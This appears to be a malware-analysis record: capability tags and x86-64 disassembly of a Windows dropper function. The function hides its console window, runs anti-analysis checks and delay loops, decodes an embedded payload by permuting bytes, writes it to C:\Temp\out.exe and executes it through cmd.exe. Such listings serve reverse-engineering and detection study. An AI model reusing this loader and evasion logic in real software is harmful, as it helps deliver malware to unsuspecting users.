Function at 0x1400018af
Capabilities:
Execute command
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
call dbg.__main
mov rax, rsp
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.checks__
cmp dword [rbp + 0x20], 1
je 0x140001901
mov ecx, 4
call sym.die_int_
mov dword [rbp - 4], 0
jmp 0x14000191d
mov ecx, 4
call sym.ProtectedSleep_int_
call sym.checks__
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x1f
jle 0x14000190a
mov dword [rbp - 8], 2
mov dword [rbp - 0xc], 0
jmp 0x140001940
mov eax, dword [rbp - 8]
imul eax, eax
mov dword [rbp - 8], eax
add dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 0x7fffffff
jne 0x140001933
mov rdx, qword [0x14001e900]
mov rax, qword [str.wuU_]
sub rdx, rax
mov dword [rbp - 0x20], edx
mov rdx, qword [str.wuU_]
mov rax, qword [0x14001e930]
sub rdx, rax
mov rax, rdx
sar rax, 2
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x20]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp - 0x30], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002bf0
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x10], 0
jmp 0x1400019d2
mov rdx, qword [str.wuU_]
mov eax, dword [rbp - 0x10]
cdqe
movzx ecx, byte [rdx + rax]
mov rdx, qword [rbp - 0x38]
mov eax, dword [rbp - 0x10]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x10], 1
mov eax, dword [rbp - 0x10]
cmp eax, dword [rbp - 0x20]
jl 0x1400019b2
mov eax, dword [rbp - 0x24]
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov eax, dword [rbp - 0x24]
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x14], 0
jmp 0x140001a38
mov eax, dword [rbp - 0x14]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
lea rcx, [rdx + rax]
mov rax, qword [0x14001e930]
mov edx, dword [rbp - 0x14]
movsxd rdx, edx
mov eax, dword [rax + rdx*4]
mov dword [rcx], eax
add dword [rbp - 0x14], 1
mov eax, dword [rbp - 0x14]
cmp eax, dword [rbp - 0x24]
jl 0x140001a0d
mov eax, dword [rbp - 0x20]
movsxd rdx, eax
sub rdx, 1
mov qword [rbp - 0x50], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002bf0
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x18], 0
jmp 0x140001a97
mov rdx, qword [rbp - 0x38]
mov eax, dword [rbp - 0x18]
cdqe
movzx ecx, byte [rdx + rax]
mov rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x18]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x18], 1
mov eax, dword [rbp - 0x18]
cmp eax, dword [rbp - 0x20]
jl 0x140001a7a
mov dword [rbp - 0x1c], 0
jmp 0x140001ae3
mov rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x1c]
cdqe
movzx eax, byte [rdx + rax]
movsx eax, al
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x1c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x40]
add rax, rdx
mov eax, dword [rax]
mov edx, dword [rbp - 0x64]
mov ecx, edx
mov rdx, qword [rbp - 0x38]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 0x1c], 1
mov eax, dword [rbp - 0x1c]
cmp eax, dword [rbp - 0x20]
jl 0x140001aa8
lea rax, [0x14001e09e]
mov rdx, rax
lea rax, str.C:Tempout.exe
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x38]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x60]
mov rcx, rax
call sym.fclose
lea rax, str.cmd.exe__c_C:Tempout.exe
mov rcx, rax
call sym.system
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 8]
pop rbx
pop rbp
ret